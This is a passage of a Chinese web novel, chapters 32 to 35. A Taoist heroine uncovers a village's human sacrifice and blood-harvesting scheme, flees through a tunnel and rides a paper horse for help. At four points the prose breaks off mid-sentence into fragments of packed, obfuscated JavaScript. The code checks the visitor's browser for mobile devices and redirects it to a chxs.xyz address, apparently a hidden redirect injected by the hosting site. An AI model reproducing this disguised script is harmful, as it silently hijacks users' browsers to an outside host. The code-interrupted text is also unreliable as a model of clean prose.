0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12867538|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 村长见孩子已经领过来了,笑着向程希夷说:“您这下满意了吧?” 程希夷也不跟他们拐弯抹角,“你们半夜聚集在这里,是要做什么?” 村长却不直接回答她的问题,说:“我们都是大柳树村的村民,深受那厉鬼的侵扰,幸而您为我们除了一害。” 程希夷终于反应过来,说:“你们知道我会住在这里?” 村长也不瞒着:“从您进大柳树村,我们就知道了。” “所以这一切都是你们的布置,”程希夷在脑中不断串联今日发生的事,“那这两个老夫妇也是你们安排的?” “是。” “这老夫妇不是活人吧,”程希夷语气冰冷,“他们到底是什么东西?!” “这……”村长支支吾吾,不肯说了。 本来一直在闭目养神的老族长终于开口了,他的声音和外貌一样,像是枯朽的树皮,“年轻娃娃,何必刨根问底,咄咄逼人呢?” 程希夷冷冷地说:“那小道换个问题,各位聚集在此是为除鬼庆祝呢,还是别的?” 别的是什么,当然是杀人灭口。 村长说:“自然是来感谢道长的,宴席已经备下,请随我们去村口。” 宴席?这里这么多人都是等她去入宴席? 程希夷往周围一看,座中都是些壮年男子,竟然无一个女人或是孩子。 她又与旁边的村长对望一眼,后者带笑的眼眸中闪过一丝藏不住的精明和算计。 看样子是半威胁了。 她会些防身之术,剑法也算精通,虽然不知道这些人会不会武功,但从中脱身应该没有问题。 只是—— 她看了看牵着的聋哑小姑娘,带着这个孩子恐怕束手束脚,难以出去。 如果有马匹会更有胜算一些。 当下她便说:“这盛情小道自然不好推辞,只是小道方才与恶魂斗法时受伤,难以举步,恐怕得靠马匹才能随您去村口。” 村长闻言,刚要开口说不可,又怕她借此拒绝赴宴,正犹豫,程希夷又说:“若是您还担心小道身体难以支撑,不如派两个人陪在马匹左右,防止马匹突然狂奔,如何?” 村长听了,心下有些同意这个做法,与族长对了个眼神,方才笑道:“当然,一切以您的身体为先。” 说着,就要把程希夷身旁的聋哑小姑娘带走。 程希夷制止道:“这孩子对生人不大熟悉,还是待在小道身边吧。” 村长想这也不妨事,她的包袱还在,只好答应。 程希夷与小姑娘上了马,与两个膀大腰圆的村民一起慢悠悠地去往村口。 途中,程希夷一直观察周围的村民。 那些人虽然眼睛没在看她,但一举一动都带着警惕,仿佛只要她做了些什么,那些人就会立马扑上来牵制住她。 看样子要顺利脱身,得先与他们周旋。 程希夷忽然想起与程玉和所下的那盘棋,虽然黑子几乎将白子全部包围,但白子先示弱,诱敌深入,或退或进,与黑子拉扯,最后趁对方疲惫大意之际趁机突围。 她或许也可采用这种战术。 32. 神巫 不多时,众人已到了村口。 程希夷装作不适,扶着马鞍下了马,还不小心跌了几步,幸而未曾摔倒。 村长本就在一旁暗暗观察,见状忙上来搀扶,问:“您没事吧?” 程希夷知道他不安好心,面上毕恭毕敬,实际借机打探虚实,就借搀扶的力气站稳了脚步,随即不动声色抽开了手,虚弱地开口道:“多谢。” 见她确实一副虚弱的模样,村长暂且打消怀疑,往旁边退了一步,请她入席。 程希夷往前一看,村口支起几口大锅,锅中的水烧得滚烫,旁边是正在宰杀的猪羊,牲畜的鲜血流了一地,融入泥土之后,那处地方成了黑块。 不仅如此,她终于在这见到了一路上都未曾见到的村子里的女人。 她们正在宰杀和烹煮牲畜,脸上面无表情,眼珠子紧盯着手中的活,偶尔转动也是脖子往旁边一转,手一动,一刀下去,牲畜的血哗啦啦流出。 她们个个手脚麻利,放血、剃毛、烫皮……一套流程极为流畅,仿佛不知疲倦似的,也不相互闲谈,一个个呆若木鸡,眼中的茫然与那一众待宰杀却不知的牲畜一模一样。二者也就是一个被拴着绳子,一个未被拴着绳子的区别了。 而在她们的前方,是一座用干燥的木柴搭建起来的高台。 木柴的切口还很新,应当刚砍下来没多久。 站在高台两侧的是两个背对着身子的黑袍人,一些看起来有身份的村民站在这二人身后,他们手中捧着空盘和铜鼓,弯着身子,一副恭恭敬敬的模样。 村长对旁边的村民低声吩咐了几句,随即朝那两个黑袍人快步走去。 他谄媚地对那两人说了几句,程希夷便感觉有两道不善且锋利的目光落在她的身上。 当她往目光来源回看过去,那二人已经回头,只看见他们脸上面具的残影。 程希夷带着小姑娘随刚才被村长吩咐了几句的村民找了个座坐下。 将人带到座位之后,村民就离开了。 程希夷将周围的布置尽数收入眼中。 在她正前方的不远处就是那座木柴架起来的高台,马匹与一众牲畜一起拴在右侧,宰杀牲畜的女人们也在那。 而男村民大多聚集在离村口大路近的后侧,而左侧是一片连绵的山,铺满了植被,几乎没有路可走,而且在这里,村民比她要对地形熟悉得多。 她来时也翻越了一座山丘,但那处山丘并不高,左侧的山却很高,走出去恐怕并不容易。 不过若是想避开他们,尽最大可能走出去,也许非得走那条山路不可。 她心里有隐隐的不安,不是因为逃出去很困难,而是刚才那两个黑袍人,他们的目光落在她身上时,她感到一股从灵魂里渗出的寒意和恐惧。 那是一种熟悉又陌生的寒意,她想了半天,也不明白是为什么,只隐隐有些抓不住的记忆碎片划过脑海。 程希夷正四处观察,余光忽见村长往她这边走来,忙收起那份打探四周的目光,装作询问旁边坐着的小姑娘身上觉得怎么样。 小姑娘一来就怕得不行,一直跟在她旁边,一到座位上就低着头,手紧抓着她的衣袖不放,自然也不知道她在说问什么,仍旧保持着低头的动作。 村长的注意力并不在小姑娘身上,径直走到程希夷面前,行了一礼,说:“道长,请劳烦跟我来,有两位大人物想见您。” 大人物?程希夷朝他来的方向一看,那两个黑袍人仍是背对身,但看起来就是在等她。 她不想跟他们扯上关系,但旁边都是他们的人,也不好此时就撕破脸,只能答应。 村长在前带路,走到那黑袍人前,说:“人带来了。” 两个黑袍人转过身,露出他们脸上的面具,那是狰狞的鬼神的脸,青面獠牙,横眉竖眼。 到了他们面前,程希夷心中的寒意更甚,她鼓起勇气与他们对视,发现寒意并非是源自他们的眼神,那究竟是什么,莫非他们身上的某件东西? 她瞧了瞧他们裹着的黑袍,那宽大的黑袍之下似乎可以放下许多东西。 左边的黑袍人开口:“闻名不如见面……” 程希夷收回眼神,听他继续说:“听说你除掉了这村子里的邪祟?” “你们是谁?”程希夷警惕地问。 右边的黑袍人说:“我们是专门驱邪祈福的神巫。” 维咸国严厉禁止巫术,在禁巫令颁布之初更是大肆捕杀巫师,尽管已经施行十多年,禁巫令也仍旧十分严格,这二人道明自己的身份,未免太明目张胆了些。 既然这二人报上身份,程希夷也不好再避而不答,说:“小道是云游道士,路过此地,除掉邪祟只是举手之劳,不足挂齿。而且小道只除了一只厉鬼,能力有限。” 左边的黑袍巫师说:“此厉鬼作恶多日,从下游的小柳树村窜逃至此,伤害数人。它逃入鬼魅盛行的坟场,我们难以接近,正不知如何将它降服,幸而得道长的相助。想来这村子必定会祸去福来,而这都指望道长。” 这话说得漂亮,既将程希夷夸了一番,言语之中又透出期待,抬高功绩以留下她。 程希夷可不吃这一套,她从前着过程玉和编故事的道,从此对他人的话都留了三分心眼。 她微微一笑,淡然回道:“小道见到那只厉鬼时,它未曾有防备,而且已经十分虚弱。说起来,这全靠二位将它打伤,小道不过是运气好罢了。二位既有如此神通,这村子的福气自然全仗二位。相比之下,小道凑数而已,实在难堪大用。” 左边的黑袍巫师见话又被转了一圈打了回来,一时也怔住了。 还是右边的黑袍巫师反应过来,说:“既然如此,暂且不说这个,请入座,观看祈福仪式如何?” 程希夷说:“盛情难却,小道恭敬不如从命。” 她回了原来的座位,心里才暗暗松了一口气,方才她是忍着寒意勉强应答,幸好糊弄过去了。 不知为何,这二人对她也是以礼相待。 他们通身的气度与村民不同,不像是招摇撞骗的巫师,为何会对她这个名不经传的小道士如此礼貌呢? 与此同时,程希夷正前方不远处,那两个黑袍巫师正窃窃私语。 右边的黑袍巫师说:“你的破魂刀也感觉到了吧?” 左边的黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12928999|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袍巫师点点头,手不自觉摸了摸腰间那把刀,说:“是,天君交给我们这把刀是为了寻找被此刀损害魂魄后仍然存活的那个人。这十年间来维咸国寻找的神巫已经有数十人,都以为此人已经死了或是根本不存在,没想到我们一来竟就在这找到了。” 右边的黑袍巫师眉眼弯了起来,眼带喜色:“这下我们可是立了大功啊,天君肯定会给我们很多赏赐。” 左边的黑袍巫师也笑了,说:“那肯定,天君对属下可是从不吝啬,何况这又是大功一件。” 右边的黑袍巫师高兴过后,见此事解决在望,心下放松,脑子里浮出些许困惑,问:“按理来说,被此刀损害魂魄的人,几乎是直接灰飞烟灭,天君是怎么知道有这么一人活下来的?我见这道士不过十七八岁,十年前也就是一小孩,为什么要大费周章来找这么一个人?” 左边的黑袍巫师提醒他:“天君通天彻地,无所不晓,他的命令也是你敢质疑的?” 右边的黑袍巫师忙说:“我自然不敢,这不是好奇嘛……毕竟我看她只是一个女子,最多也就会点道术,哪能威胁到天君的大业?” 左边的黑袍巫师嗤笑一声,说:“她只是一个小小的女子?你没看到吗,昨天晚上面对那一厉鬼,她轻轻松松就将它打得灰飞烟灭。而且,那里的冤魂怨气之强,连我们都不敢接近,它们却对她毕恭毕敬。想必是它们看到什么了,以你我的资质,看不到过去和未来就算了,但心里多少也得有点敬畏之心。” 右边的黑袍巫师被怼了一通,心里不大高兴,但他这话倒也没说错。 他们效忠于天君,但资质一般,寻找此人的事原本也落不到他们身上,只是十年间,被派来寻找的神巫大多不抱希望。正好他们要来维咸国替天君寻找药引,就得到了这个任务。 没想到药引有了,而这个艰难的任务也完成了。 得了这个意外之喜,右边的黑袍巫师就算有几分不悦,也管不得了,很快将它们全都抛在脑后。 “祭礼要开始了。”左边的黑袍巫师提醒道。 “嗯。” 这两个巫师接过后面村民递上的铜鼓,各站一侧,开始边用铜点敲打铜鼓边唱祝辞。 “……高飞兮安翔,乘清气兮御阴阳……”[1] 伴随着祝词和鼓声,他们跳起舞来,一旋一转,轻盈优美。 程希夷见这祭祀舞蹈,不由得看呆了。 不过,这舞蹈总体优美,但这两个男巫并不是熟练,偶尔显得笨重,她之前未曾看过,却看得出这二人水平并不算高,并未发挥到极致。 这只是寻常的祭祀舞蹈,可与这古怪的村庄发生的事格格不入,而周围的村民眼睛虽是盯着这祭祀,但总有些心不在焉。 伴随渐缓的鼓点,祭祀舞蹈接近尾声,而村民们的兴致却越来越高,似乎在期待着什么事发生。 只听得一声喜悦的惊呼,程希夷下意识往台上看去,一个上半身捆得严严实实的少女被一左一右两个村民架着走上高台。 她十四五岁的模样,清秀的脸如纸一样苍白,嘴唇干裂,眼神空洞地盯着地面,顺从地走到高台,没有一点反抗。 33. 骚动 村民将她带在台上,一旁沉寂许久的村长语气激动地向众人道:“乡亲们,我们与小柳树村向来不和,他们那边染了疫病,招来邪祟,竟让我们也跟着遭殃。幸好我们得了两位神巫的帮助,用山中野物的鲜血祭祀解了疫病。” “山中野物血液终究带腥气,不够干净……”讲到“干净”这个词时,村长特意加了重音,同时将台下一众村民的反应收入眼底。 看到他们脸上浮现出焦急、不安,他露出些许微不可查的满意的神色,又接着说下去—— “神巫沟通天地,得到神谕——守护我们这片土地的神明需要一位处子之身的少女以血为引,以身祭祀,方可解了这鬼魅之灾,神灵才会再度守护我们,大家也不用再每天担惊受怕了。” 说完,村长眼神示意那看守少女的村民,后者将束缚少女的绳索解开,村长走到少女面前,说:“小鸢,生你者娘亲,养你者村子,今天是你为村子贡献的日子。” 那个叫“小鸢”的少女即使被解开了绳子,仍旧一动不动地待在台上。 听到村长这番话,她只是抬头看了一眼底下的村民,眼神中闪过一丝希冀的光芒,可见到村民们那突然兴奋起来的异动,那眼中唯一一点光芒也消失不见了。 她低下头,仿佛已经认命。 看到这,程希夷彻底明白了他们是要用人祭祀。 一个手无缚鸡之力的少女,在他们的口中是拯救这个村子的“祭品”。 她身上的衣服又旧又脏,有挣扎的痕迹,想必之前一直被绑着丝毫不许反抗,此刻却让她“自愿”献出自己的生命,拯救这一个个都恨不得她立刻去死的村民。 程希夷心下觉得悲哀,她看见那个少女绝望麻木的神色,忍不住想阻止这场离谱又可怕的祭祀。 可是面对这围得水泄不通的村民,她没有丝毫胜算。 想想那盘棋局。她提醒自己,现在一定要忍忍,等他们放松警惕,才能伺机而动。 等会逃出村子,她就去报官,这儿离京城不会太远,一定要把这些人一锅端,也许还来得及救那少女。 方才那些徘徊在村口的男村民慢慢聚集到高台前,而那些不知疲倦宰杀牲畜、烹煮菜肴的农妇也放下手中的活,在原地站立,脖子往前伸,好奇地打量前方的高台。 高台附近已被围得水泄不通,往前一看尽是密密麻麻的人头,立于高台之上的叫“小鸢”的少女和村长只能被从远处见到半个身影。 之前一直守着程希夷那匹黑马的村民也被祭祀吸引,丢开自己的活不干,往前走去。 程希夷趁他们不注意,带着小姑娘慢慢踱步到村口。 就要碰到马匹之时,不知道从哪突然传出一阵骚动。 她往前一看,离村口不远的小路上突然钻出来一大群人,个个手持锄头木棍,来者不善。 他们走得极快,程希夷赶忙拉着小姑娘躲入临近的一座屋舍后,悄悄观察。 这些人进了村子,沉重的脚步声让一众本在专心看祭祀的村民纷纷回头。 台上的村长也注意到人群的骚动,停下了口中的宣讲,刚才还在喧闹的人群瞬间变得鸦雀无声。 村长沉下脸,从高台上走了下去。 那群人中领头的男子身材魁梧,粗眉大眼,他往前一站,旁边大柳树村的村民纷纷给他让出一条道,都不敢惹这个人。 体格并不矮小的村长站在他面前,就像个小鸡崽似的。 但毕竟是一村之长,气势上不能输。 村长板着脸,冷冷地问:“二虎,你带这么多人来是要做什么?我们正在祭祀神灵,识相的就坐在一边别惹事,可不要冲撞了神灵!” “呸,什么神灵!”二虎啐了一口,不屑地说,“俺可不管你什么祭祀,快把那女人生的小贱种交出来!” 听到这番语辞,程希夷恍然认出这就是那天草棚外,点着火把让那个聋哑小姑娘滚出去的领头。 那天她带着小姑娘闯出去时只匆匆看过他们一眼,现在一仔细看,这不就是当时那一群人么,而且还是那副堵人的架势。 对付一个小姑娘和闯进村子都如此阵仗,不免让人觉得有些滑稽可笑。 “什么小贱种?”村长疑惑了,他原本就因为这人擅自闯入而不满,下意识认为这人是来找茬的。 “别告诉俺你忘了,”二虎说,“那个乞婆生的聋哑姑娘。她娘变了鬼来俺们村作祟,现在俺们要用这个小的引她娘出来。” “这个我当然没忘,”村长不满地说,“就是你们苛待那乞婆,她才会变了鬼来找你们!你们倒霉也就算了,还连累我们跟着一块倒霉!” 二虎毫不在意地说:“她要作祟,俺们也管不住啊。” 村长从鼻孔里“哼”出一声,白了他一眼,说:“这乞婆的鬼魂,你也不必找了。前天来了个女道士,已经将它打到魂飞魄散了。” “女道士?”二虎闻言,与旁边一身材矮小,弓腰驼背,活像个小虾米的人对望一眼。 “你当时看清楚了吗?”二虎问他。 “小虾米”肯定地说:“那日救走那聋哑小姑娘的就是个女道士,俺刚才还看到她那匹黑马拴在村口呢!” “黑马在吗?”二虎不记得这事,他往村口看了一眼,“小虾米”说的那匹黑马果然在那! 他既然得了证据,粗糙的声音更添了几分理直气壮,对村长说:“俺说,二伯,这证据都在这了,你还说不知道什么聋哑小姑娘?” 村长旁边的大柳树村村民上前与村长耳语:“那道长身边确实带了个小姑娘,一直黏着道长,也不说话。俺们之前觉得奇怪,现在想来那小姑娘本来就不能说不能听。” 村长细想了一回,这道长不能得罪,二虎也难缠,但那聋哑小姑娘算不得什么,只要交出去就可免了这场冲突。 他心里有了主意,对之前暗中看着程希夷的几个村民道:“请那位道长出来。” 那几个村民哆哆嗦嗦,你推我,我推你,都待在原地半步不动。 见状,村长呵斥道:“你们这是耳朵聋了,连我的话也不肯听了?!” 一个村民被另外几个推出去,只好咬了咬牙,回道:“她,她不见了!” “什么,不见了?”村长气得跳脚,“让你们看着个人也会看丢,你们干什么吃的!” 一个村民说:“我,我们光顾着看祭祀去了,一时没看住……” “一群蠢货!”村长骂道,“算了,看那黑马还在,带着那个孩子也跑不远,还不快去找!” “是!”看守的村 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12976586|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 民们慌忙去找,一个个跑得脚上的布鞋都要甩出去。 二虎见那小姑娘确实待过此处,脸色不善,说:“二伯,要不是俺的人来报信见到过这道士来这里,恐怕你就要窝藏那小姑娘不知道到什么时候了吧!” “什么叫窝藏?”村长听到这一番刻薄的话,气极反笑,“先别说我们都不知道那聋哑小姑娘从哪来的,就算知道她是谁,那也是你们小柳树村造的孽,对我们来说都是无妄之灾。今天祭祀也是为了解除这灾祸,结果还被你们给破坏了!你们今天不给我们个说法,也别想走出去了!” 村长的话给了大柳树村村民底气,他们原本还害怕这二虎魁梧的体格,可环顾周围,自己村子里的人比他们多,就算是用人砸也可把他们砸死,心里也没那么恐惧了。 有些好事的人带头去家里取农具,准备和他们大干一场。 二虎人如其名,虎头虎脑,也不怕他们,带的人也都仗着这份气势,摩拳擦掌,蠢蠢欲动。 一场大柳树村和小柳树村村民的大战一触即发。 程希夷暗中看了许久,也听到了他们的话。 这时候出去显然是不明智的,他们本就因为她们剑拔弩张,此时跑出去骑黑马离开,一旦被发现,矛盾一下子就会从他们双方身上到她和这小姑娘身上。 他们都熟悉山中地形,到时候围堵她们,那就更不可能逃走了。 可是这附近又没什么可躲藏的地方,待在这村舍后太久也有被发现的风险。 正当她为此烦恼时,耳边突然传来一声轻轻的推门声。 程希夷回头,右手轻按腰间利剑,看那门边出现了一片衣角。 然后,一个少女从那后门走了出来。 程希夷睁大了眼睛,因为眼前这名少女竟然与之前台上差点被祭祀的叫“阿鸢”的少女长得一模一样! 如果非得说有什么区别的话,眼前这个少女右边脸颊处有一块小小的淡色的胎记。 这个少女打手势唤她们过去,口中无声地说:“快过来,我是来帮你们逃的。” 程希夷收起剑,牵着小姑娘走去。 事到如今,要抓住每一个逃出去的可能。而且她看这少女也不是坏人。 她与小姑娘随少女进了后门,少女轻巧地关了门,这才敢出声:“跟我来,我带你们走地道出去。” 程希夷一边走,一边轻声问:“你是谁,为什么帮我们?” 少女拿了个点燃油灯,领着她们往一间房走,说:“我叫阿巧,是阿鸢的妹妹。你们也看到了,他们要拿我姐姐去祭祀什么莫名其妙的神灵。我恨他们!” 程希夷无言,她刚才想抛下阿鸢逃走,此刻阿鸢的妹妹却要救她们。 阿巧继续说:“我知道你们也不是坏人,你除去了这个村子一直祸害人的恶灵。那个恶灵把村子里很多人都吃了,其他人怕得要死。你帮了他们一个大忙。” 程希夷见她脸上的表情一直淡淡的,仿佛一点不怕这个吃人的恶灵,“那你呢,你不怕吗?” “不怕,”小巧说,“我觉得它没有村子里这些人可怕,它不会吃同类。” 她们走到一个木床前,小巧将木床上的木板搬开,露出下面黑黢黢的地道入口。 “跟我来。”小巧说。 34. 地道 地道里阴沉沉的,阿巧在前头持着那微弱光芒的油灯,领着她们往前走。 程希夷并不害怕黑暗,反而习惯了在黑暗中视物,她的双眸亮灿灿的,脚下步伐坚定又快速,急于从这离开村子。 不过小姑娘在一旁一直拽着她的衣服,再快也快不到哪儿去。 而且她毕竟年纪小,又瘦弱,体力跟不上。 想到这,程希夷放缓了脚步,本快要追上阿巧,变成离阿巧两三步,就这么不远不近地跟着。 空荡荡的地道长而昏暗,几人细碎的脚步声在地道里回响,显得凄凉又寂寥。 程希夷之前还着急走,此时不那么急了,倒有些无聊,就想问些问题。 她问:“阿巧,你知道他们所说的苛待乞婆,致使乞婆变鬼害人究竟是怎么一回事么?我之前听一对老夫妇大概说了大柳树村和小柳树村的恩怨,只是他们行为诡异,我认为不大可信。” “老夫妇?”阿巧奇怪地问,“这村里的老人都不在了,怎么会有什么老夫妇呢?” 程希夷回想起那天晚上的诡异经历,加上那对老夫妇不同于常人的脸色和皮肤,心中也觉得十分诡异。 只是那些人不像是鬼魂,她也猜不到是什么。 她将事情说出,阿巧听了,却也不奇怪,语气轻松地说:“你说那些,那是村里那些巫师带来的巫偶。” “巫偶?”程希夷从没听过这东西,“听你这么说,它们只是像人的死物,可是怎么会这么逼真?” 阿巧眼神黯了黯,说:“那些巫师一来就展示了些神通,巫偶就是其中之一。它们原本只是泥和草做的,又在外套了张白纸,用墨笔在脸上点了人的五官,就变得和人一样会跑会跳。” “原来是泥偶。”程希夷没见过这种东西,这下解开了疑惑。 之前那对老夫妇的脸是一层白纸,难怪那么光滑,褶子也怪异地堆在脸颊两侧,不像是常人。 “他们拿这些泥偶做什么?” 阿巧回道:“它们可以干活锄地,而且不必吃饭,自然也不需要那些快干不动的老人。村长就派人把这些老人聚集起来,送到一个屋子里,每天只送一顿饭。 开始还送些能吃的饭,渐渐地,饭都馊了的也送过去,最后那些送饭的人连一顿饭也不愿去送。那些被关着的老人又出不去,只能被活活饿死。” 程希夷蹙眉,说了句:“竟是如此。” 她对害人的鬼魂从不留情,对活人总认为他们有些许良善之心,可是没想到他们竟然做了这么多残忍的事。 之前墓地那些鬼魂并没有说错,这些村民是一群可恶的凶手。 阿巧似乎早已看惯这种事,内心麻木,毫不在意地说:“他们做的事还远不止这些。” 程希夷小心翼翼地问:“你是指……祭祀的事吗?” 其他人都无所谓,但被祭祀的是阿巧的姐姐,她闻言不免动容,想到她可怜的姐姐,眼泪就这么串珠子似的落了下来。 “不止如此,不止如此。”她抹了抹眼泪,喃喃道。 “不止如此,还有什么吗?”程希夷问,她也认为这村庄的事没有这么简单,光是那两个巫师来这村庄的动机就很可疑。 阿巧此时却不愿说了,她摇了摇头,说:“我不能说,这个秘密是我唯一活命的机会了。” 秘密? 她如此强硬地拒绝回答,程希夷也不好太过勉强。 回想这村子的种种细节,狡诈的村长,凶恶的男村民,麻木的村妇,消失的老人…… 还有什么东西她没注意到呢? 程希夷望着阿巧的背影发呆,突然灵光一闪—— 这村里的年轻男女都去哪里了? 高台上将要被祭祀的阿鸢加上面前的阿巧,才两个少女,一个这么大的村子,不可能就两个年轻女子。 她开口问:“是跟村子里那些消失的女孩有关是吗?” 阿巧的脚步顿了顿,过了一会才继续往前走,但她什么也没说,无视了这个问题。 程希夷继续说:“从往村口这边来开始,我一直觉得这村子诡异,但说不上是什么。你的话提醒了我,这村子里缺少的不仅仅是老人,还有年轻的男女。他们都去哪里了?” “他们……”阿巧知道此时也瞒不住了,“他们有些人跑了,有些人死了。” “跑了?死了?”程希夷快步跟上她,摁住她的肩膀,让她看自己,“到底是怎么回事,把真相全告诉我,或许我可以帮你们呢?” “帮我们?”阿巧甩开她的手,嗤笑一声,语气带着嘲讽,“你自己都自身难保了,还说帮我们,拿什么帮我们?” “我……”程希夷哽住了,她的力量确实还很弱小。 她不算个好管闲事的人,可是她明知道将会有人被残害,怎么可以坐视不理呢? 她之所以打算远赴天末国,除了自己的记忆之外,也怀着一点缝补她破碎的魂魄,继续活下去的祈望。 所以如果有人被随意剥夺生命,而她有救下他们的可能,就没有办法不管。 程希夷摸了摸胸口跳动的心脏,感受到生命的悦动,随即深吸一口气,抬起头坚定地看着阿巧说:“这儿里最近的县有多远?” 阿巧不明白她为什么突然问这个,还是回答了:“走大路三十多里,走山间野路二十多里。” “好,往返最多半日,”程希夷眼神明亮,看着她一字一句地说,“我会把这个村子发生的事告诉县太爷,然后回来救你们的。现在可以告诉我所有的真相了吗?” 阿巧愣住了,方才那嘲讽的笑容消失不见,半晌,她说:“好,我告诉你。” 倒不是因为她真的相信这个比她大不了多少的女冠,而是这人脸上的坚定触动了她的心,那是一种名叫“希望”的情绪。 为了这宝贵的“希望”,她愿意相信一次。 阿巧将一切娓娓道来:“半个月之前,这村里来了两个巫师,他们自称是替人祈福消灾,解除烦扰的。他们用巫偶帮村民干活,开始的确帮了不少忙,村民的生活也渐渐轻松起来。 但后来就不一样了。因为南方旱灾,所以县里头需要征收粮食送去南方,各家各户所缴纳的粮食比往年都要多。虽然今年刚割了稻子,但收成也不比往年,加上又要多缴纳粮食,连我们这些种庄稼的都快吃不上饭了。 这时候那两个巫师就说,村中老人不干活却要吃饭,不如集中在一块,给一天一顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12993066|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭也就够了,反正老人也不需要吃太多。这种事太没人性,没想到村长同意了,其他人也没意见,因为我们的粮食快要吃完了。” 程希夷说:“所以发生了之前关进屋子不送饭的事?” 阿巧点点头,说:“对。那之后,粮食还是不够吃。村子里的年轻男子就打算去城里找点活干,反正这里离京城也没有多远。” “所以这些年轻男子都出去了,”程希夷摸了摸下巴,“可那些少女呢?” 阿巧沉默了一会,才说:“有些人跟着年轻男子走了,有些人留下来。可是……” 程希夷见她脸色不太对,问:“怎么了?” 阿巧咬了咬下唇,掀起她的右手袖子。 借着黯淡的油灯的光亮,程希夷也看清楚她的手上有道道分明的疤痕,那是用利器划破的痕迹。 程希夷用手摸那些疤痕,它们像平地凸起来的一整道山丘,在阿巧光滑的肌肤上显得十分不和谐。 “他们取你们的血?” 只有这一种可能。 “是。”那些事已经成为回忆,但阿巧每每想起来还是忍不住发抖,“那些人把我们关在一间屋子里,每隔两三天就来取一碗血。” 程希夷不敢置信:“这种取法是个精壮男子也无法承受啊。” 阿巧扯出一个凄凉的笑容,说:“是啊,所以熬得住的都活下来了,熬不住的都死了,和死去的老人一起埋在后山那个坑里。” 程希夷不知怎么安慰阿巧,也或许不需要安慰。 那个大坑是怎么来的,她总算知道了。 “他们要这些血做什么?” 阿巧摇了摇头,说:“我不知道他们具体要做什么,只知道那些巫师好像要炼制什么药,卖给京城里的达官贵人,这样村里就可以分到银子,就能买点吃的东西了。为了不饿死,村民答应了巫师。” “用你们的生命交换他们不饿死吗?”程希夷听完这一切,不知该说什么。但她知道自己要做什么。 说完这些,空气沉寂下来,她们加快脚步,很快就可见洞口的曙光。 程希夷快步往前走去,一口气走出洞口。 出了地道,外头的空气清新了许多。 她深吸一口气,似乎要把这山川清气都纳入腹中。 清气在腹中停了一会,她将气吐出,从腰间拿出一张纸,折成马的模样,又对它吹了一口气,纸片落在地上就成了一匹歪七扭八的纸马,马的眼睛都快到头顶了。 太久没折了,手有点生。 她转头对目瞪口呆的阿巧说:“我要去赤县需得乘这纸马才能速去速回,可它载不动两个人,我拜托你照顾一下这个小姑娘。” 她又蹲下对小姑娘说了几句,等小姑娘靠嘴型终于辨认出自己的意思,微微点头后方才对阿巧说:“这小姑娘会乖乖待在你身边,只要你给她吃点东西,藏好她就好。那些人都在找她,所以你要小心。” 阿巧不知道这任务为什么突然交到自己身上,可是要救姐姐或许只有靠面前这个脸上明明还带着青涩,可异常坚韧的女子。 “好,我答应你。” 得了承诺,程希夷放下心,问了方向,就骑上纸马往赤县赶去。 35. 故影 程希夷身上只有这一张白纸,其他的都在包袱里。 她折的这个纸马奇形怪状,撒腿跑起来跌跌撞撞,快到头顶的眼睛看不清方向,有好几次差点撞到树。 幸好程希夷驾驭住它,才勉强没被树撞散。 此地崇山峻岭,树木繁多。 现在已到了秋季,树叶大多开始凋零,有些树只留下光秃秃的树杈子。 细小的树杈没有树叶的点缀,与周围环境融为一体,加上又多又繁密,程希夷即使有心避开,身上还是不免被树枝划了几道口子。 她第一时间去检查那纸马有没有事,毕竟是纸,还是挺脆弱的。 那纸马四肢短小,穿行树枝之间倒是方便,只有耳朵处被划了一道,但它浑然不觉,乐此不疲地执行背上的主人的任务。 今天是个晴日,阳光将泥土烘烤得干干的,纸马一路都没碰到水,顺利地跑出了山。 见行到大路上,程希夷终于松了一口气,看样子走这条路是没错的。 头顶的太阳升高了,阳光愈发猛烈,她额头上汗如雨珠,顺着脸颊留下,身上的道袍也紧紧贴在身上,整个人就像是在蒸笼里滚了一回。 但她不敢有丝毫懈怠,骑着纸马继续往前赶。 纸马似乎也通了人性,虽然它跑不快,但还是尽力蹦跶着赶路。 这一人一马在旁人看来颇有些滑稽,当然,普通路人乍一看肯定会被这纸马给吓一跳。 所以路上远远看到有人时,程希夷总会躲避一下,问路也会先将纸马收起来。 根据一路上从路人得到的消息,加上加紧赶路,程希夷终于见到了城门。 